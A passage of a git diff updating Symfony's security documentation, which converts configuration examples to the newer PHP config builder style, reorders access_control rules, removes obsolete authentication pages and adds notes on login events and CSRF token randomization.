-``ROLE_USER`` role. And users with ``ROLE_SUPER_ADMIN``, will automatically have
-``ROLE_ADMIN``, ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from ``ROLE_ADMIN``).
+:class:`Symfony\\Component\\Security\\Http\\Event\\LoginSuccessEvent`
+    Dispatched after authentication was fully successful. Listeners to this
+    event can modify the response sent back to the user.
 
-For role hierarchy to work, do not try to call ``$user->getRoles()`` manually.
-For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
+:class:`Symfony\\Component\\Security\\Http\\Event\\LoginFailureEvent`
+    Dispatched after an ``AuthenticationException`` was thrown during
+    authentication. Listeners to this event can modify the error response
+    sent back to the user.
 
-    // BAD - $user->getRoles() will not know about the role hierarchy
-    $hasAccess = in_array('ROLE_ADMIN', $user->getRoles());
+Other Events
+~~~~~~~~~~~~
 
-    // GOOD - use of the normal security methods
-    $hasAccess = $this->isGranted('ROLE_ADMIN');
-    $this->denyAccessUnlessGranted('ROLE_ADMIN');
+:class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
+    Dispatched just before a user logs out of your application. See
+    :ref:`security-logging-out`.
 
-.. note::
+:class:`Symfony\\Component\\Security\\Http\\Event\\TokenDeauthenticatedEvent`
+    Dispatched when a user is deauthenticated, for instance because the
+    password was changed. See :ref:`user_session_refresh`.
 
-    The ``role_hierarchy`` values are static - you can't, for example, store the
-    role hierarchy in a database. If you need that, create a custom
-    :doc:`security voter </security/voters>` that looks for the user roles
-    in the database.
+:class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
+    Dispatched after impersonation is completed. See
+    :doc:`/security/impersonating_user`.
 
 Frequently Asked Questions
 --------------------------
 
 **Can I have Multiple Firewalls?**
     Yes! But it's usually not necessary. Each firewall is like a separate security
-    system. And so, unless you have *very* different authentication needs, one
-    firewall usually works well. With :doc:`Guard authentication </security/guard_authentication>`,
-    you can create various, diverse ways of allowing authentication (e.g. form login,
-    API key authentication and LDAP) all under the same firewall.
+    system, being authenticated in one firewall doesn't make you authenticated in
+    another one. One firewall can have multiple diverse ways of allowing
+    authentication (e.g. form login, API key authentication and LDAP).
 
 **Can I Share Authentication Between Firewalls?**
     Yes, but only with some configuration. If you're using multiple firewalls and
@@ -1172,23 +2648,16 @@ Authentication (Identifying/Logging in the User)
 .. toctree::
     :maxdepth: 1
 
-    security/experimental_authenticators
-    security/form_login_setup
-    security/reset_password
-    security/json_login_setup
-    security/guard_authentication
-    security/password_migration
-    security/auth_providers
-    security/user_provider
+    security/passwords
     security/ldap
     security/remember_me
     security/impersonating_user
     security/user_checkers
-    security/named_encoders
-    security/multiple_guard_authenticators
     security/firewall_restriction
     security/csrf
-    security/custom_authentication_provider
+    security/form_login
+    security/custom_authenticator
+    security/entry_point
 
 Authorization (Denying Access)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1197,13 +2666,16 @@ Authorization (Denying Access)
     :maxdepth: 1
 
     security/voters
-    security/securing_services
     security/access_control
     security/access_denied_handler
-    security/acl
     security/force_https
 
+.. _`5.2 version of this documentation`: https://symfony.com/doc/5.2/security.html
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
-.. _`Symfony Security screencast series`: https://symfonycasts.com/screencast/symfony-security
+.. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
+.. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
+.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
+.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
diff --git a/security/_supportsToken.rst.inc b/security/_supportsToken.rst.inc
deleted file mode 100644
index e4403123a01..00000000000
--- a/security/_supportsToken.rst.inc
+++ /dev/null
@@ -1,10 +0,0 @@
-After Symfony calls ``createToken()``, it will then call ``supportsToken()``
-on your class (and any other authentication listeners) to figure out who should
-handle the token. This is just a way to allow several authentication mechanisms
-to be used for the same firewall (that way, you can for instance first try
-to authenticate the user via a certificate or an API key and fall back to
-a form login).
-
-Essentially, you need to make sure that this method returns ``true`` for a
-token that has been created by ``createToken()``. Your logic should probably
-look exactly like this example.
diff --git a/security/access_control.rst b/security/access_control.rst
index 225687c02f6..0f32e30b427 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -43,8 +43,8 @@ Take the following ``access_control`` entries as an example:
         security:
             # ...
             access_control:
-                - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_PORT, ip: 127.0.0.1, port: 8080 }
+                - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ }
                 - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] }
 
@@ -55,7 +55,7 @@ Take the following ``access_control`` entries as an example:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -65,13 +65,13 @@ Take the following ``access_control`` entries as an example:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <srv:parameters>
-                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter>
+                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</srv:parameter>
             </srv:parameters>
 
             <config>
                 <!-- ... -->
-                <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_PORT" ip="127.0.0.1" port="8080"/>
+                <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/>
                 <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/>
 
@@ -88,49 +88,46 @@ Take the following ``access_control`` entries as an example:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
-        $container->loadFromExtension('security', [
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, SecurityConfig $security) {
+            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '127.0.0.1',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_PORT',
-                    'ip' => '127.0.0.1',
-                    'port' => '8080',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_HOST',
-                    'host' => 'symfony\.com$',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_METHOD',
-                    'methods' => 'POST, PUT',
-                ],
-
-                // ips can be comma-separated, which is especially useful when using env variables
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '%env(TRUSTED_IPS)%',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => [
-                        '127.0.0.1',
-                        '::1',
-                        '%env(TRUSTED_IPS)%',
-                    ],
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_PORT'])
+                ->ips(['127.0.0.1'])
+                ->port(8080)
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['127.0.0.1'])
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_HOST'])
+                ->host('symfony\.com$')
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_METHOD'])
+                ->methods(['POST', 'PUT'])
+            ;
+            // ips can be comma-separated, which is especially useful when using env variables
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['%env(TRUSTED_IPS)%'])
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['127.0.0.1', '::1', '%env(TRUSTED_IPS)%'])
+            ;
+        };
 
 .. versionadded:: 5.2
 
@@ -145,13 +142,13 @@ if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | URI             | IP          | PORT        | HOST        | METHOD     | ``access_control``             | Why?                                                        |
 +=================+=============+=============+=============+============+================================+=============================================================+
-| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #1 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
+| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #2 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #1 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
+| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #2 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
 |                 |             |             |             |            |                                | the ``ROLE_USER_HOST`` entry, but *only* the **first**      |
 |                 |             |             |             |            |                                | ``access_control`` match is used.                           |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #2 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
+| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #1 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match the first rule, so the second      |
 |                 |             |             |             |            |                                | rule (which matches) is used.                               |
@@ -250,7 +247,7 @@ pattern so that it is only accessible by requests from the local server itself:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -275,21 +272,23 @@ pattern so that it is only accessible by requests from the local server itself:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/internal',
-                    'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    // the 'ips' option supports IP addresses and subnet masks
-                    'ips' => ['127.0.0.1', '::1'],
-                ],
-                [
-                    'path' => '^/internal',
-                    'roles' => 'ROLE_NO_ACCESS',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/internal')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                // the 'ips' option supports IP addresses and subnet masks
+                ->ips(['127.0.0.1', '::1'])
+            ;
+
+            $security->accessControl()
+                ->path('^/internal')
+                ->roles(['ROLE_NO_ACCESS'])
+            ;
+        };
 
 Here is how it works when the path is ``/internal/something`` coming from
 the external IP address ``10.0.0.1``:
@@ -331,7 +330,7 @@ key:
             access_control:
                 -
                     path: ^/_internal/secure
-                    # the 'role' and 'allow-if' options work like an OR expression, so
+                    # the 'roles' and 'allow_if' options work like an OR expression, so
                     # access is granted if the expression is TRUE or the user has ROLE_ADMIN
                     roles: 'ROLE_ADMIN'
                     allow_if: "'127.0.0.1' == request.getClientIp() or request.headers.has('X-Secure-Access')"
@@ -339,7 +338,7 @@ key:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -361,18 +360,19 @@ key:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/_internal/secure',
-                    // the 'role' and 'allow-if' options work like an OR expression, so
-                    // access is granted if the expression is TRUE or the user has ROLE_ADMIN
-                    'roles' => 'ROLE_ADMIN',
-                    'allow_if' => '"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/_internal/secure')
+                // the 'role' and 'allow-if' options work like an OR expression, so
+                // access is granted if the expression is TRUE or the user has ROLE_ADMIN
+                ->roles(['ROLE_ADMIN'])
+                ->allowIf('"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")')
+            ;
+        };
 
 In this case, when the user tries to access any URL starting with
 ``/_internal/secure``, they will only be granted access if the IP address is
@@ -417,7 +417,7 @@ access those URLs via a specific port. This could be useful for example for
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -438,16 +438,17 @@ access those URLs via a specific port. This could be useful for example for
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/cart/checkout',
-                    'role' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    'port' => '8080',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/cart/checkout')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->port(8080)
+            ;
+        };
 
 Forcing a Channel (http, https)
 -------------------------------
@@ -470,7 +471,7 @@ the user will be redirected to ``https``:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -491,13 +492,14 @@ the user will be redirected to ``https``:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/cart/checkout',
-                    'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    'requires_channel' => 'https',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/cart/checkout')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->requiresChannel('https')
+            ;
+        };
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 59d6d6bb8d6..c880ec14065 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -15,6 +15,8 @@ generates a response based on the authentication state:
 * **If the user is authenticated, but does not have the required
   permissions**, a *403 Forbidden* response is generated.
 
+.. _security-entry-point:
+
 Customize the Unauthorized Response
 -----------------------------------
 
@@ -28,25 +30,23 @@ unauthenticated user tries to access a protected resource::
 
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
     use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface;
 
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
         private $urlGenerator;
-        private $session;
 
-        public function __construct(UrlGeneratorInterface $urlGenerator, SessionInterface $session)
+        public function __construct(UrlGeneratorInterface $urlGenerator)
         {
             $this->urlGenerator = $urlGenerator;
-            $this->session = $session;
         }
 
         public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
         {
             // add a custom flash message and redirect to the login page
-            $this->session->getFlashBag()->add('note', 'You have to login in order to access this page.');
+            $request->getSession()->getFlashBag()->add('note', 'You have to login in order to access this page.');
 
             return new RedirectResponse($this->urlGenerator->generate('security_login'));
         }
@@ -72,7 +72,7 @@ Now, configure this service ID as the entry point for the firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -92,15 +92,14 @@ Now, configure this service ID as the entry point for the firewall:
 
         // config/packages/security.php
         use App\Security\AuthenticationEntryPoint;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'entry_point' => AuthenticationEntryPoint::class,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                // ....
+                ->entryPoint(AuthenticationEntryPoint::class)
+            ;
+        };
 
 Customize the Forbidden Response
 --------------------------------
@@ -122,7 +121,7 @@ response)::
 
     class AccessDeniedHandler implements AccessDeniedHandlerInterface
     {
-        public function handle(Request $request, AccessDeniedException $accessDeniedException)
+        public function handle(Request $request, AccessDeniedException $accessDeniedException): ?Response
         {
             // ...
 
@@ -149,7 +148,7 @@ configure it under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -169,15 +168,14 @@ configure it under your firewall:
 
         // config/packages/security.php
         use App\Security\AccessDeniedHandler;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'access_denied_handler' => AccessDeniedHandler::class,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                // ....
+                ->accessDeniedHandler(AccessDeniedHandler::class)
+            ;
+        };
 
 Customizing All Access Denied Responses
 ---------------------------------------
@@ -209,7 +207,7 @@ configure a :ref:`kernel.exception listener <use-kernel-exception-event>`::
 
         public function onKernelException(ExceptionEvent $event): void
         {
-            $exception = $event->getException();
+            $exception = $event->getThrowable();
             if (!$exception instanceof AccessDeniedException) {
                 return;
             }
diff --git a/security/acl.rst b/security/acl.rst
deleted file mode 100644
index ffbf16c7c27..00000000000
--- a/security/acl.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-.. index::
-   single: Security; Access Control Lists (ACLs)
-
-How to Use Access Control Lists (ACLs)
-======================================
-
-.. caution::
-
-    ACL support was removed in Symfony 4.0. Install the `Symfony ACL bundle`_
-    and refer to its documentation if you want to keep using ACL.
-
-    Consider using :doc:`security voters </security/voters>`,
-    the alternative to ACLs recommended by Symfony.
-
-.. _`Symfony ACL bundle`: https://github.com/symfony/acl-bundle
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
deleted file mode 100644
index 349f16a219a..00000000000
--- a/security/auth_providers.rst
+++ /dev/null
@@ -1,241 +0,0 @@
-Built-in Authentication Providers
-=================================
-
-If you need to add authentication to your app, we recommend using
-:doc:`Guard authentication </security/guard_authentication>` because it gives you
-full control over the process.
-
-But, Symfony also offers a number of built-in authentication providers: systems
-that are easier to implement, but harder to customize. If your authentication
-use-case matches one of these exactly, they're a great option:
-
-.. toctree::
-    :hidden:
-
-    form_login
-    json_login_setup
-
-* :doc:`form_login </security/form_login>`
-* :ref:`http_basic <security-http_basic>`
-* :doc:`LDAP via HTTP Basic or Form Login </security/ldap>`
-* :doc:`json_login </security/json_login_setup>`
-* :ref:`X.509 Client Certificate Authentication (x509) <security-x509>`
-* :ref:`REMOTE_USER Based Authentication (remote_user) <security-remote_user>`
-
-.. _security-http_basic:
-
-HTTP Basic Authentication
--------------------------
-
-`HTTP Basic authentication`_ asks credentials (username and password) using a dialog
-in the browser. The credentials are sent without any hashing or encryption, so
-it's recommended to use it with HTTPS.
-
-To support HTTP Basic authentication, add the ``http_basic`` key to your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    http_basic:
-                        realm: Secured Area
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <http-basic realm="Secured Area"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    'http_basic' => [
-                        'realm' => 'Secured Area',
-                    ],
-                ],
-            ],
-        ]);
-
-That's it! Symfony will now be listening for any HTTP basic authentication data.
-To load user information, it will use your configured :doc:`user provider </security/user_provider>`.
-
-Note: you cannot use the :ref:`log out <security-logging-out>` with ``http_basic``.
-Even if you log out, your browser "remembers" your credentials and will send them
-on every request.
-
-.. _security-x509:
-
-X.509 Client Certificate Authentication
----------------------------------------
-
-When using client certificates, your web server is doing all the authentication
-process itself. With Apache, for example, you would use the
-``SSLVerifyClient Require`` directive.
-
-Enable the x509 authentication for a particular firewall in the security configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    x509:
-                        provider: your_user_provider
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <!-- ... -->
-                    <x509 provider="your_user_provider"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'x509' => [
-                        'provider' => 'your_user_provider',
-                    ],
-                ],
-            ],
-        ]);
-
-By default, the firewall provides the ``SSL_CLIENT_S_DN_Email`` variable to
-the user provider, and sets the ``SSL_CLIENT_S_DN`` as credentials in the
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\PreAuthenticatedToken`.
-You can override these by setting the ``user`` and the ``credentials`` keys
-in the x509 firewall configuration respectively.
-
-.. _security-pre-authenticated-user-provider-note:
-
-.. note::
-
-    An authentication provider will only inform the user provider of the username
-    that made the request. You will need to create (or use) a "user provider" that
-    is referenced by the ``provider`` configuration parameter (``your_user_provider``
-    in the configuration example). This provider will turn the username into a User
-    object of your choice. For more information on creating or configuring a user
-    provider, see:
-
-    * :doc:`/security/user_provider`
-
-.. _security-remote_user:
-
-REMOTE_USER Based Authentication
---------------------------------
-
-A lot of authentication modules, like ``auth_kerb`` for Apache, provide the username
-using the ``REMOTE_USER`` environment variable. This variable can be trusted by
-the application since the authentication happened before the request reached it.
-
-To configure Symfony using the ``REMOTE_USER`` environment variable, enable the
-corresponding firewall in your security configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            firewalls:
-                main:
-                    # ...
-                    remote_user:
-                        provider: your_user_provider
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main">
-                    <remote-user provider="your_user_provider"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'remote_user' => [
-                        'provider' => 'your_user_provider',
-                    ],
-                ],
-            ],
-        ]);
-
-The firewall will then provide the ``REMOTE_USER`` environment variable to
-your user provider. You can change the variable name used by setting the ``user``
-key in the ``remote_user`` firewall configuration.
-
-.. note::
-
-    Just like for X509 authentication, you will need to configure a "user provider".
-    See :ref:`the previous note <security-pre-authenticated-user-provider-note>`
-    for more information.
-
-.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
diff --git a/security/csrf.rst b/security/csrf.rst
index ac8e840c978..12a00ef185c 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -51,9 +51,13 @@ for more information):
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'csrf_protection' => null,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->csrfProtection()
+                ->enabled(true)
+            ;
+        };
 
 The tokens used for CSRF protection are meant to be different for every user and
 they are stored in the session. That's why a session is started automatically as
@@ -85,7 +89,7 @@ this can be customized on a form-by-form basis::
 
     // src/Form/TaskType.php
     namespace App\Form;
-    
+
     // ...
     use App\Entity\Task;
     use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -94,7 +98,7 @@ this can be customized on a form-by-form basis::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class'      => Task::class,
@@ -119,8 +123,8 @@ customize the entire form field contents).
 CSRF Protection in Login Forms
 ------------------------------
 
-See :doc:`/security/form_login_setup` for a login form that is protected from
-CSRF attacks. You can also configure the
+See :ref:`form_login-csrf` for a login form that is protected from CSRF
+attacks. You can also configure the
 :ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
 
 .. _csrf-protection-in-html-forms:
@@ -147,12 +151,13 @@ generate a CSRF token in the template and store it as a hidden form field:
 
 Then, get the value of the CSRF token in the controller action and use the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::isCsrfTokenValid`
-to check its validity::
+method to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function delete(Request $request)
+    public function delete(Request $request): Response
     {
         $submittedToken = $request->request->get('token');
 
@@ -162,4 +167,19 @@ to check its validity::
         }
     }
 
+CSRF Tokens and Compression Side-Channel Attacks
+------------------------------------------------
+
+`BREACH`_ and `CRIME`_ are security exploits against HTTPS when using HTTP
+compression. Attackers can leverage information leaked by compression to recover
+targeted parts of the plaintext. To mitigate these attacks, and prevent an
+attacker from guessing the CSRF tokens, a random mask is prepended to the token
+and used to scramble it.
+
+.. versionadded:: 5.3
+
+    The randomization of tokens was introduced in Symfony 5.3
+
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
+.. _`BREACH`: https://en.wikipedia.org/wiki/BREACH
+.. _`CRIME`: https://en.wikipedia.org/wiki/CRIME
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
deleted file mode 100644
index 8c5581964ea..00000000000
--- a/security/custom_authentication_provider.rst
+++ /dev/null
@@ -1,653 +0,0 @@
-.. index::
-   single: Security; Custom authentication provider
-
-How to Create a custom Authentication Provider
-==============================================
-
-.. caution::
-
-    Creating a custom authentication system is hard, and almost definitely
-    **not** needed. Instead, see :doc:`/security/guard_authentication` for a
-    simple way to create an authentication system you will love. Do **not**
-    keep reading unless you want to learn the lowest level details of
-    authentication.
-
-Symfony provides support for the most
